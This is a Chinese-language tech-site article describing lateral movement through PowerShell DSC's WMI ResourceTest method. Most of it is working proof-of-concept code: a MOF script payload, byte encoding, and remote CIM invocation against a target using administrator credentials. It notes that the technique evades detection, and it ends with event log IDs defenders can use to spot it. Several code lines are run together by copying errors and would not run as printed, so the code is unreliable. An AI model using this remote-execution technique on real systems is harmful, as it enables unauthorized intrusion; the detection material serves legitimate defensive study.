溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么通過PowerShell DSC進行橫向滲透

發(fā)布時間:2021-12-18 09:55:18 來源:億速云 閱讀:133 作者:小新 欄目:網(wǎng)絡(luò)安全

這篇文章主要為大家展示了“怎么通過PowerShell DSC進行橫向滲透”,內(nèi)容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學習一下“怎么通過PowerShell DSC進行橫向滲透”這篇文章吧。

橫向滲透技術(shù)簡介

PowerShell期望狀態(tài)配置(DSC)允許需要執(zhí)行的資源直接使用WMI,在DSC WMI類的幫助下,我們可以通過濫用內(nèi)置腳本資源來實現(xiàn)PowerShell代碼的遠程執(zhí)行。

這樣的橫向滲透技術(shù)有如下幾點好處:

1.PowerShell將在WMI服務(wù)-wmiprvse.exe環(huán)境下執(zhí)行,從躲避檢測的角度來說這是一個優(yōu)勢。

2.Payload的每一個組件都跟WMI有關(guān)系。

3.無需配置DSC服務(wù)。

橫向滲透技術(shù)要求

1.ResourceTest方法必須在MSFT_DSCLocalConfigurationManager這個WMI類中,該類需位于root/Microsoft/Windows/DesiredStateConfiguration命名空間中。注意:攻擊者還可以選擇調(diào)用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以這項技術(shù)并不適用于全部主機。

2.默認情況下,如果你要遠程調(diào)用WMI方法,你需要擁有管理員憑證。WMI的安全是通過DCOM或WSMan安全設(shè)置來實現(xiàn)的,在建立遠程連接時,WMI是通過目標命名空間的安全描述符實現(xiàn)的(root/Microsoft/Windows/DesiredStateConfiguration)。

攻擊PoC

第一步就是準備Payload如何執(zhí)行。你需要在目標主機上執(zhí)行的PowerShell代碼需要是MOF格式的,下面給出的是一份Payload樣本:

$MOFContents= @'instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref{       ResourceID ="[Script]ScriptExample";       GetScript = "\"$(Get-Date): Iam being GET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";      TestScript = "\"$(Get-Date): Iam being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True";       SetScript = "\"$(Get-Date): Iam being SET\"   | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";       SourceInfo = "::3::5::Script";       ModuleName = "PsDesiredStateConfiguration";       ModuleVersion = "1.0";       ConfigurationName ="ScriptTest";};instance of OMI_ConfigurationDocument{       Version="2.0.0";       MinimumCompatibleVersion ="1.0.0";       CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"};       Author="TestUser";       GenerationDate="02/26/201807:09:21";       GenerationHost="TestHost";       Name="ScriptTest";};'@

這里,唯一需要修改的就是PowerShell Payload。在我們的樣例中,我們將調(diào)用ResourceTest方法,該方法會返回上面的“TestScript”屬性。需要注意的是,特殊字符需要轉(zhuǎn)義處理。

下一步就是把MOF轉(zhuǎn)換成二進制形式,這種數(shù)據(jù)形式也是ResourceTest方法要求的:

#Change this to false if you want to test the payload locally$ExecuteRemotely= $True$NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))$NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)$TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)if($ExecuteRemotely) {       # Prepend the length of the payload       [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes}else {       # If executing locally, you do notprepend the payload length       [Byte[]] $MOFBytes = $NormalizedMOFBytes}

在上述樣例中,如果你想在本地測試你的Payload,請不要在Byte數(shù)組中添加Payload長度。Payload正確編碼之后,剩下的就是在目標主機上執(zhí)行Payload了。

#Specify the credentials of your target$Credential= Get-Credential -Credential TempUser$ComputerName= 'TargetHost'#Establish a remote WMI session with the target system$RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential$LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSessionif($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {       # You may now proceed with lateralmovement       $MethodArgs = @{           ModuleName          ='PSDesiredStateConfiguration'           ResourceType   = 'MSFT_ScriptResource'           resourceProperty= $MOFBytes       }       $Arguments = @{           Namespace  ='root/Microsoft/Windows/DesiredStateConfiguration'           ClassName  = 'MSFT_DSCLocalConfigurationManager'           MethodName= 'ResourceTest'           Arguments  = $MethodArgs           CimSession= $RemoteCIMSession       }       # Invoke the DSC script resource Testmethod       # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0.       Invoke-CimMethod @Arguments}else {       Write-Warning 'The DSC lateral movementmethod is not available on the remote system.'}

在上面的例子中,大家請注意,我首先驗證了遠程類和方法的優(yōu)先級。在使用WMI技術(shù)時,我們建議大家首先驗證遠程類和方法的優(yōu)先級。

接下來,代碼會將Payload下載到目標主機的磁盤中。如果你想要使用WMI來遠程獲取文件內(nèi)容,你可以配合使用【這項技術(shù)】。除此之外,我這里還使用了CIM cmdlet,這個功能是在PowerShell v3中引入的,如果你需要適用v2版本的話,你還可以使用舊版本的WMI cmdlet。

終端檢測&保護

幸運的是,我們可以通過檢查事件日志來發(fā)現(xiàn)這種攻擊活動,并進行及時檢測。

Microsoft-Windows-PowerShell/Operational事件日志

EventID: 53504

“PowerShell Named Pipe IPC”事件表明PowerShell AppDomain已啟用。當DSC執(zhí)行腳本資源時,這個事件會自動捕捉“DscPsPluginWkr_AppDomain”。而AppDomain對于一次DSC執(zhí)行來說是唯一的,下面是一個事件樣例:

Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.

“Windows PowerShell”事件日志

EventID: 400

在正常的PowerShell日志中,事件ID 400表明一個新的PowerShell主機進程被創(chuàng)建。當DSC腳本資源執(zhí)行時,它會生成一個唯一的事件日志條目,并對其進行簽名。下面是一個樣例(引擎狀態(tài)從NONE轉(zhuǎn)換成了Available):

Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=Default Host HostVersion=5.1.17134.81 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d HostApplication=C:\Windows\system32\wbem\wmiprvse.exe EngineVersion=5.1.17134.81 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine=

Microsoft-Windows-DSC/Operational事件日志

EventID: 4102

當一個DSC資源被發(fā)送至目標主機之后,系統(tǒng)會響應這個事件。如果目標主機存在于一個計算機域中,那么系統(tǒng)會返回執(zhí)行這個DSC資源的用戶SID以及源主機信息。下面是事件樣本信息:

Job{893F64B5-ABBF-11E8-B005-D336977413FC} :OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.

以上是“怎么通過PowerShell DSC進行橫向滲透”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI